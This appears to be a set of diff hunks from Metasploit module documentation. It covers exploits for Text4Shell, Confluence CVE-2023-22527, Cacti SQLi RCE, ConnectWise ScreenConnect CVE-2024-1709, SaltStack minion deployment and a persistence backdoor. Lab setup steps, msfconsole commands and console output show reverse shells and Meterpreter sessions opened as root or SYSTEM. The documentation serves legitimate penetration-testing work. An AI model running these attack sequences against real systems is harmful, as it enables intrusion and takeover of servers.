[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9996
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and salt-master executable found
[+] The target is vulnerable.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
[+] Minions List
============
Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Writing '/tmp/E76Azw' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
```
@@ -39,7 +39,7 @@
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever.
**SHELLPATH**
**BACKDOOR_PATH**
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
@@ -72,15 +72,15 @@ Get initial access
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services.
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set SHELLPATH /bin
SHELLPATH => /bin
msf exploit(service_persistence) > set BACKDOOR_PATH /bin
BACKDOOR_PATH => /bin
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
@@ -260,12 +260,12 @@ Now with a multi handler, we can catch systemd restarting the process every 10se
Module options (exploit/linux/local/service_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE no Name of service to create
SESSION -1 yes The session to run this module on.
SHELLPATH /tmp yes Writable path to put our shell
SHELL_NAME no Name of shell file to write
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH /tmp yes Writable path to put our shell
SERVICE no Name of service to create
SESSION yes The session to run this module on
SHELL_NAME no Name of shell file to write
Payload options (cmd/unix/reverse_netcat):
@@ -0,0 +1,253 @@
## Vulnerable Application
This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.
In order to exploit the vulnerabilities, the following requirements must
be met:
Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15
## Setup
1. `git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker`
1. `cd cve-2022-42889-text4shell-docker`
1. `mvn clean install`
1. `docker build --tag=text4shell .`
1. `docker run -p 80:8080 text4shell`
1. Vulnerable application now running at port 8080 on docker image's ip address
## Verification Steps
1. Setup the application
1. Start msfconsole
1. Do: `use apache_commons_text4shell`
1. Do: `set RHOST <docker ip>`
1. Do: `set RPORT 8080`
1. Do: `set TARGETURI /text4shell/attack`
1. Do: `set PARAM search`
1. Do: `set LHOST docker0`
1. Do: `run`
## Options
### PARAM
The parameter vulnerable to the exploit.
### METHOD
The HTTP method to use. Default: `GET`
### TARGETURI
The URI to target. Default: `/`
## Scenarios
### Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8
Check:
```
msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > check
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.
```
Target: java
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.
meterpreter >
```
Target: Linux Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
Target: Linux Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.
meterpreter >
```
### Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2
Target: Windows EXE Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > options
Module options (exploit/multi/http/apache_commons_text4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
PARAM search yes The vulnerable parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI text4shell/attack yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 5000 yes The local port to listen on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows EXE Dropper
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
[*] Sending stage (200774 bytes) to 172.18.160.1
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[*] Meterpreter session 5 opened (172.18.168.145:4444 -> 172.18.160.1:53165) at 2024-01-15 00:14:33 +0530
meterpreter > sysinfo
Computer : HOME
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
Target: Windows Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > options
Module options (exploit/multi/http/apache_commons_text4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
PARAM search yes The vulnerable parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI text4shell/attack yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 5000 yes The local port to listen on.
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Sending stage (175686 bytes) to 172.18.160.1
[*] Meterpreter session 6 opened (172.18.168.145:4444 -> 172.18.160.1:53170) at 2024-01-15 00:15:18 +0530
meterpreter > sysinfo
Computer : HOME
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >```
@@ -0,0 +1,141 @@
## Vulnerable Application
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the
injection to evaluate an OGNL expression resulting in OS command execution.
Confluence versions up to and including 8.5.3 are vulnerable to this SSTI injection flaw. For more complete information
on affected and fixed versions, see [CONFSERVER-93833][1].
### Setup
1. Create a new `docker-compose.yml` file with the contents below.
2. Startup the container using `docker-compose up`
3. Navigate to the HTTP service running on port 8090
4. Acquire and provide an evaluation license
5. When prompted, setup a standalone / non-clustered system
6. Configure the database settings
1. Select "By connection string", then Database URL: `jdbc:postgresql://postgresql:5432/confdb`
2. Username and password are both `confdb`
7. Setup takes a few minutes
8. When prompted, select "Empty Site"
9. Select "Manage users and groups within Confluence"
10. Create an account, it **will not** be needed for exploitation
11. Once setup has completed select "Start" and set a space name to something
#### Docker Compose File
```
version: '3'
services:
postgresql:
image: postgres:11
environment:
POSTGRES_DB: confdb
POSTGRES_USER: confdb
POSTGRES_PASSWORD: confdb
ports:
- '5432:5432'
confluence-server:
depends_on:
- postgresql
image: atlassian/confluence:8.5.3
ports:
- '8090:8090'
- '8091:8091'
```
## Verification Steps
1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22527`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module
## Options
## Scenarios
### Confluence 8.5.3 in [Docker]
```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Linux
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (24772 bytes) to 192.168.159.128
[*] Meterpreter session 8 opened (192.168.159.128:4444 -> 192.168.159.128:52920) at 2024-01-24 12:45:59 -0500
meterpreter > getuid
Server username: confluence
meterpreter > sysinfo
Computer : c38aa4f3b92e
OS : Linux 6.6.11-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 10 19:25:59 UTC 2024
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > pwd
/var/atlassian/application-data/confluence
meterpreter >
```
### Confluence 8.5.3 on Windows Server 2019
```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
[*] Powershell command length: 4371
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Windows Server 2019
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[*] Sending stage (200774 bytes) to 192.168.159.10
[*] Meterpreter session 9 opened (192.168.159.128:4444 -> 192.168.159.10:58923) at 2024-01-24 12:47:39 -0500
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Atlassian\Confluence
meterpreter >
```
[1]: https://jira.atlassian.com/browse/CONFSERVER-93833
@@ -0,0 +1,244 @@
## Vulnerable Application
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25.
The exploit will do the following:
- Login with the provided credentials
- Perform a series of SQL injections to:
- backup the current log file path and add a new path to the `settings` table
- insert the new log file path to the External Links table (`external_links`)
- add permission to access this external link to the current user (`user_auth_realm`)
- Poison the log file to add the payload stager
- Trigger the payload by accessing the external link page (`link.php)`
- Cleanup the SQL tables that were modified to their original states
- Remove the new log file that contains the stager
### Docker installation of Cacti version 1.2.25
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
- `docker-compose.yml`:
```
version: '2'
services:
web:
build: ./cacti
ports:
- "8080:80"
depends_on:
- db
entrypoint:
- bash
- /entrypoint.sh
volumes:
- ./entrypoint.sh:/entrypoint.sh
command: apache2-foreground
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cacti
```
- `entrypoint.sh`:
```
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
```
- Create a `./cacti/` directory with `mkdir cacti`
- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
- `Dockerfile`:
```
FROM php:7.4-apache
RUN apt-get update && \
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
docker-php-ext-configure intl &&\
docker-php-ext-configure pcntl --enable-pcntl &&\
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
RUN mkdir /var/www/html/cacti &&\
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
```
- `cacti.ini`
```
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
```
- `config.php`
```
<?php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$poller_id = 1;
$url_path = '/cacti';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
```
- Run `docker-compose up`
- Access http://127.0.0.1:8080
- Login with the `admin` user (password: `admin`)
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)
Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`).
### Cacti on Windows
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
Follow the same installation steps as for the Docker installation.
### Setup a new user
- Login with the `admin` user (password: `admin`)
- Go to `Configuration` > `Users`
- Click on the `+` sign
- Enter the `User Name`, `Password` and check the `Enabled` option.
- Click `Create`
- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration`
- Click `Save`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce`
1. Do: `set target <target>`
1. Do: `set payload <payload>`
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
1. You should get a shell.
## Options
### USERNAME
The user to login with (default `admin`).
### PASSWORD
The password to login with (default `admin`)
### TARGETURI
The base URI of Cacti (default `/cacti`).
## Scenarios
### Cacti version 1.2.25 on Docker installation
```
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
target => 0
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.25
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
[*] Inserting the log file path `log/cacti520.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.144.1
[*] Cleaning up log file
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.25.0.3
OS : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Cacti version 1.2.24 on Windows 11
```
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
target => 1
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
[*] Inserting the log file path `log/cacti715.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 192.168.144.134
[*] Cleaning up log file
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-26CQRHP
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
```
@@ -0,0 +1,287 @@
## Vulnerable Application
This module exploits an authentication bypass vulnerability that allows an unauthenticated attacker to create
a new administrator user account on a vulnerable ConnectWise ScreenConnect server. The attacker can leverage
this to achieve RCE by uploading a malicious extension module. All versions of ScreenConnect version 23.9.7
and below are affected.
**Note:** The vulnerability will replace the ScreenConnect systems existing User.xml file, meaning existing user
accounts will be removed after exploitation.
## Testing
* Download a vulnerable version of the software by visiting:
* https://screenconnect.connectwise.com/download/archive, for example download the file
[ScreenConnect_23.9.7.8804_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_23.9.7.8804_Release.msi) or
[ScreenConnect_21.14.5924.8013_Release.msi](https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.14.5924.8013_Release.msi).
* Request a trial license if you do not already have one.
* On a Windows system, click through the installer to install the product and complete the installation in your
web browser as instructed.
* Once completed, you can login by visiting http://127.0.0.1:8040/ in your browser.
## Verification Steps
1. Start msfconsole
2. `use exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709`
3. `set target 0`
4. `set payload windows/x64/meterpreter/reverse_tcp`
5. `set LHOST eth0`
6. `set RHOST <TARGET_IP_ADDRESS>`
7. `check`
8. `exploit`
## Options
### USERNAME
The username to use when creating a new administrator user account. Will default to a random 8 character value. This
value must not be empty.
### PASSWORD
The password to use when creating a new administrator user account. Will default to a random 16 character value. This
value must not be empty and must be 8 characters or more.
## Scenarios
### Windows In-Memory
```
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 0
target => 0
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.50
RHOST => 192.168.86.50
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8040 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows In-Memory
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check
[*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
[*] Created account: qyxzcxgk:SMsGSJCbcTaJZ5f2 (Note: This account will not be deleted by the module)
[*] Uploaded Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
[*] Removing Extension: 81060d26-6fc8-5d1a-0566-b6f0503a8934
[*] Sending stage (201798 bytes) to 192.168.86.50
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\fuypfhwx.ashx
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:50536) at 2024-02-22 14:42:13 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-V28QNSO2H05
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Meterpreter : x64/windows
meterpreter > pwd
C:\Windows\system32
meterpreter > exit
[*] Shutting down session: 1
[*] 192.168.86.50 - Meterpreter session 1 closed. Reason: Died
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) >
```
#### Windows Command
Note: The `FETCH_WRITABLE_DIR` should be set to a suitable value like `%TEMP%`.
```
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 1
target => 1
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND CERTUTIL
FETCH_COMMAND => CERTUTIL
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR %TEMP%
FETCH_WRITABLE_DIR => %TEMP%
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8040 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME qawpczANW no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
View the full module info with the info, or info -d command.
